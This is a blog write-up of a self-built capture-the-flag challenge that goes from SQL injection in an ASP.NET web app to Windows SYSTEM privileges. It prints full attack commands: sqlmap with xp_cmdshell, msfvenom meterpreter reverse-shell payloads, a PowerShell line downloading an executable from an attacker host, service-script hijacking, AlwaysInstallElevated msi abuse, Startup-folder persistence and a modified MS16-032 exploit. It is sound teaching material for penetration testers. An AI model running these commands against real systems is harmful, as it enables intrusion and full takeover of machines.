This is a brief “writeup” of a challenge which I created for my friends of “SNADO” team.

I will write this article from the “pentester” perspective, just to be more clear and realistic 🙂

The mission was to get windows “SYSTEM” privileges, starting from a vulnerable webapp. There were several ways to get the result, some of them requiring “user interaction”.

Server had only port 80 open for inbound connection.

I will not go too much in details, but the challenge gave me the opportunity to dig deeper in some hidden aspects of windows which I will discuss about.

Let’s start from the beginning. The Web application, hosted on a Win2012 server, was vulnerable to SQLi injection (yes, again!), and after some testing I found the correct parameters for sqlmap:

sqlmap -u http://x.x.x.x/test1/default.aspx?id=1 \
       --dbms=mssql --technique=US               \
       --tamper=randomcase --os-shell

Not so difficult! There was some type of WAF, easily bypassed with a modified tamper script and, due to serious misconfiguration of the Database. I finally got an os-shell (xp_cmdshell)!

Parameter: id (GET)
 Type: stacked queries
 Title: Microsoft SQL Server/Sybase stacked queries (comment)
 Payload: id=1;WAITFOR DELAY '0:0:5'--

 Type: UNION query
 Title: Generic UNION query (NULL) - 1 column
 Payload: id=1 UNION ALL SELECT CHAR(113)+CHAR(120)+CHAR(112)+CHAR(120)+CHAR(113)+CHAR(84)+CHAR(80)+CHAR(85)+CHAR(111)+CHAR(89)+CHAR(89)+CHAR(79)+CHAR(122)+CHAR(71)+CHAR(119)+CHAR(99)+CHAR(109)+CHAR(78)+CHAR(89)+CHAR(116)+CHAR(87)+CHAR(89)+CHAR(120)+CHAR(80)+CHAR(72)+CHAR(69)+CHAR(115)+CHAR(104)+CHAR(84)+CHAR(120)+CHAR(65)+CHAR(98)+CHAR(107)+CHAR(111)+CHAR(116)+CHAR(84)+CHAR(73)+CHAR(73)+CHAR(70)+CHAR(112)+CHAR(74)+CHAR(90)+CHAR(76)+CHAR(69)+CHAR(66)+CHAR(113)+CHAR(107)+CHAR(112)+CHAR(106)+CHAR(113)-- OsxQ
[19:10:11] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[19:10:11] [INFO] testing Microsoft SQL Server
[19:10:11] [INFO] confirming Microsoft SQL Server
[19:10:11] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 8.1 or 2012 R2
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 8.5
back-end DBMS: Microsoft SQL Server 2012
[19:10:11] [INFO] testing if current user is DBA
[19:10:11] [INFO] testing if xp_cmdshell extended procedure is usable
[19:10:11] 2[WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique
[19:10:11] [INFO] the SQL query used returns 1 entries
[19:10:11] [INFO] xp_cmdshell extended procedure is usable
[19:10:11] [INFO] going to use xp_cmdshell extended procedure for operating system command execution
[19:10:11] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER

Ok, first step was done. Now I should start with information gathering, right?

os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] y
[19:12:55] [INFO] the SQL query used returns 1 entries
[19:12:55] [INFO] retrieved: srv2012\\andrea
command standard output [1]:
[*] srv2012\andrea

os-shell> net user andrea | find "Group"
do you want to retrieve the command standard output? [Y/n/a] y
[19:12:34] [INFO] the SQL query used returns 2 entries
[19:12:34] [INFO] retrieved: Local Group Memberships *Power Users *Remote Desktop Users
[19:12:34] [INFO] retrieved: Global Group memberships *None
command standard output:
Local Group Memberships *Power Users *Remote Desktop Users
Global Group memberships *None

Account was local user and .. ouch! I was not Admin, leading to the dramatic conclusion: I didn’t have SYSTEM privileges 😦

No panic, remember the basics of privilege escalation on Windows systems?
First of all, a Meterpreter shell could help us in our investigations.

But before moving on, a quick check on installed programs (c:\program files, c:\program files(x86)) did not reveal any AV software… great, so I created a quick & dirty payload !

#msfvenon -p windows/x64/meterpreter/reverse_tcp lhost=y.y.y.y \
           lport=4444 -f exe > r.exe

Setup the listener on msfconsole:

Module options (exploit/multi/handler):

 Name Current Setting Required Description
 ---- --------------- -------- -----------

Payload options (windows/X64/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
LHOST     X.X.X.X          yes       The listen address
LPORT     4444             yes       The listen port
msf  exploit(handler) > exploit -j

And now I had to upload this executable, right? But how? Oh, I’m a PS fan!:

os-shell>powershell -nop -c
"(New-Object System.Net.WebClient).DownloadFile('http://your_ip/r.exe', 'c:\users\andrea\r.exe')"
[*] Started reverse TCP handler on x.x.x.x:5555
[*] Starting the payload handler...
[*] Sending stage (1189423 bytes) to y.y.y.y
[*] Meterpreter session 1 opened (x.x.x.x:5555 -> y.y.y.y:49177) at 2017-02-21 18:15:53 +0100

meterpreter >

Fantastic! Meterpreter shell was established! And now I had to get SYSTEM, but how?
First of all I tried the classic “privilege escalation” techniques.

Service misconfiguration

This is the ultra-classic escalation method! First of all I had to find a vulnerable service. What is a “vulnerable” service? At least a service with weak permissions on the executable files allowing us to change them….

A list of the installed services gave me a wonderful hint:

meterpreter > shell
Process 2084 created.
Channel 4 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>sc query

WIN32_EXIT_CODE : 0 (0x0)


Hmm.. this DummySvc seemed interesting, so I gathered other info about this “dummy service”:

C:\Windows\system32>sc qc dummysvc

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: dummysvc
 BINARY_PATH_NAME : C:\Program Files\dummyservice\nssm.exe
 TAG : 0

Service was running with “LocalSystem” privileges! And this was the listing of C:\Program Files\dummyservice

C:\Program Files\dummyservice>dir

 Volume in drive C has no label.
 Volume Serial Number is C050-5A8D

 Directory of C:\Program Files\dummyservice

02/16/2017 10:26 PM .
02/16/2017 10:26 PM ..
08/31/2014 07:34 AM 331,264 nssm.exe
02/16/2017 10:46 PM 151 readme.txt.txt
02/16/2017 11:02 PM 16 service.bat
3 File(s) 331,431 bytes 2 Dir(s) 15,100,686,336 bytes free 

C:\Program Files\dummyservice>type readme.txt.txt
service.bat: this is the service will be relaunched from taskscheduler if not running pls. notify admin if service is not working, we will restart it 

C:\Program Files\dummyservice>type service.bat
@echo off

And these were the permissions on this folder:

C:\Program Files\dummyservice>icacls *.*



Successfully processed 3 files; Failed processing 0 files

Now I had a clear vision:

  • Users group had (M) modify privileges
  • I could modify service.bat and insert my meterpreter shell executable or overwrite the nssm.exe executable. The best choice would be the first one, no need to worry about AutoMigrate and so on..
  • Given that service was running under LocalSystem context , I would get back a SYSTEM shell!

There was a problem, service had to be restarted.. Of course I could ask admin as stated in readme.txt.txt, but I wanted to go further. What if I could start/stop service of my own? Usually normal user cannot do that, but never say never….

The easiest way was to try a “net stop dummyscv” and see what happens. But I wanted to learn new (useful) things, so decided to check the service permissions:

C:\Program Files\dummyservice>sc sdshow dummysvc

What does this command? Outputs the security descriptors of the service in Security Descriptor Definition Language (SDDL). Somehow cryptic, but look at last record:


Basically, it (A)uthorizes the user identfied by the sid S-1-5.. to start (RP) and stop (WP) the service. Who is S-1-5.. ?

I went back to my Meterpreter and took a look a my SID:

meterpreter > getsid
Server SID: S-1-5-21-938204560-2839928776-2225904511-1001

It was my SID!!!!

So, I prepared the new Meterpreter reverse_shell, listening on a different port:

#msfvenon -p windows/x64/meterpreter/reverse_tcp \
lhost=y.y.y.y lport=5555 -f exe > r2.exe

Uploaded it and started the listener in msfconsole.

From the previous shell:

C:\Program Files\dummyservice>net stop dummysvc

The DummySvc service was stopped successfully.

C:\Program Files\dummyservice>echo c:\users\andrea\r2.exe > service.bat
C:\Program Files\dummyservice>net start dummysvc
The DummySvc service was started successfully.

[*] Meterpreter session 2 opened
(x.x.x.x:5555 -> y.y.y.y:49630) at 2017-02-21 22:45:48 +0100

I got a new meterpreter sessions but this time with SYSTEM privileges:

meterpreter > shell
Process 3600 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Program Files\dummyservice>whoami
nt authority\system

Always install privileged

This is a classic exploitation too. These setting allows non-privileged users the ability to install packages (.msi) through the Microsoft Windows Installer (msiexec) with elevated (SYSTEM) permissions. This could be a big security concern, for eample: what would happen if I installed a special crafted MSI file which launches a meterpreter shell during the installation process? A shell with SYSTEM privilege!

First of all I checked if user “Andrea” had similar privileges. There are two registry keys to verify, one in the Current User context and one in the Local Machine context , if both are set to “1” we are half on the way…

C:\>reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
AlwaysInstallElevated REG_DWORD 0x1
C:\>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
AlwaysInstallElevated REG_DWORD 0x1

Great, current user had “Always Install Privileged” permissions. With “msfvenom”, I created my “special” msi file:

msfvenon -p windows/x64/meterpreter/reverse_tcp \
lhost=y.y.y.y lport=5555 -f msi-nouac > r2.msi

Uploaded it (this time with the meterpreter shell) and executed the msi with the switches: “/qn”= nogui, “/quiet”=quiet and /”log*v”=log verbose to file i.log

C:\test\>msiexec /qn /quiet /log*v i.log /i r2.msi
The Windows Installer Service could not be accessed.
This can occur if the Windows Installer is not correctly installed.
Contact your support personnel for assistance.

But something went wrong and a look at “i.log” gave me more details:

=== Verbose logging started: 2/22/2017 19:30:34 Build type: SHIP UNICODE 5.00.9600.00 Calling process: C:\Windows\system32\msiexec.exe ===
MSI (c) (D8:C8) [19:30:34:727]: Resetting cached policy values
MSI (c) (D8:C8) [19:30:34:727]: Machine policy value 'Debug' is 0
MSI (c) (D8:C8) [19:30:34:727]: ******* RunEngine:
 ******* Product: r2.msi
 ******* Action:
 ******* CommandLine: **********
MSI (c) (D8:C8) [19:30:34:727]: Client-side and UI is none or basic: Running entire install on the server.
MSI (c) (D8:C8) [19:30:34:727]: Grabbed execution mutex.
MSI (c) (D8:C8) [19:30:34:727]: Failed to connect to server. Error: 0x80070005

MSI (c) (D8:C8) [19:30:34:742]: Note: 1: 2774 2: 0x80070005
1: 2774 2: 0x80070005
MSI (c) (D8:C8) [19:30:34:742]: Failed to connect to server.
MSI (c) (D8:C8) [19:30:34:742]: MainEngineThread is returning 1601
=== Verbose logging stopped: 2/22/2017 19:30:34 ===

The problem seemed related to the lack of a “real” terminal or GUI sessions, and it was not even possible to connect directly to the server side of misexec (DCOM permissions)?

There was nothing more I could do, even tried the same exploit with metasploit (always_install_privileged) but no luck 😦

Never give up!

I looked at the running processes with “ps” command from meterpreter and found the process “explorer.exe” belonging to logged in user “Andrea”. This could be a good candidate to migrate to, given that this time a real GUI was associated to it.

1912  2816  explorer.exe       x64   2        SRV2012\andrea  C:\Windows\Explorer.EXE

This should be a valid handle! I quickly migrated to process 1912:

meterpreter > migrate 1912
[*] Migrating from 2780 to 1912...
[*] Migration completed successfully.

relaunched the msi… and bingo! got SYSTEM shell!

[*] Meterpreter session 8 opened (x.x.x.x:5555 -> y.y.y.y:49271) at ..
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 2300 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

nt authority\system

But.. what if user was not logged in? Last chance:

Launch the msi automatically placing it in the user’s the Startup menu and wait for the user login…

How? Even more easy:

c:\Users\andrea\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup>echo msiexec /qn /quiet /i c:\users\andrea\r2.msi > t.bat

So I just asked admin if user Andrea could log in .. and again.. SYSTEM shell

MS16-032 Exploit

You will probably have heard abut the vulnerability m16-032 (aka secondary logon priv. esc.) which affects the Windows systems starting from windows 2008 to windows 10 and permits privilege escalation to SYSTEM!

First of all I checked if the system was vulnerable..

C:\Windows\system32>wmic qfe list | find "3139914"

Empty response… patch was not installed, great!

Next, I tried the dedicated metasploit module (exploit/windows/local/ms16_032_secondary_logon_handle_privesc) , but di not seem to work, all I got was;

[*] Exploit completed, but no session was created.

So I tried the “manual” way, downloaded the ms16-032.ps1 and made some changes. Instead of calling cmd.exe , I had to call my meterpreter shell otherwise it would not be useful…

In “main” function i changed the parameters:

 $CallResult = [Advapi32]::CreateProcessWithLogonW(
 "user", "domain", "pass",
 #0x00000002, "C:\Windows\System32\cmd.exe", "",
 0x00000002, "C:\users\andrea\r2.exe", "",
 0x00000004, $null, $GetCurrentPath,
 [ref]$StartupInfo, [ref]$ProcessInfo)

After that , uploaded the poweshell script (m.ps1) and from my previous shell executed it:

c:\users\andrea\powershell -windowstyle hidden -executionpolicy bypass -file c:\users\andrea\m.ps1

In my msfconsole, a misleading error message:

[-] Errno::ECONNRESET Connection reset by peer - SSL_accept

Hmmm.. could be related to the same problem, missing terminal/window session handler?

I tried again the same solution: User Andrea was logged in so I migrated to his explorer.exe process, executed the .ps1 script and got back again SYSTEM shell!

msf exploit(handler) > sessions -i 7
[*] Starting interaction with 7...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

As mentioned before, as an alternative, I could place the script in the Startup folder, waiting for user login and obtain a SYSTEM shell.

c:\Users\andrea\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup>echo powershell -windowstyle hidden -executionpolicy bypass -file c:\users\andrea\m.ps1 > t.bat

Up to now, these were the solutions I found.. would be interesting to find out how to spawn a valid terminal session/GUI handler from meterpreter shell, simulating the logged in user?!

That’s all 🙂


3 thoughts on “The “SYSTEM” challenge

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s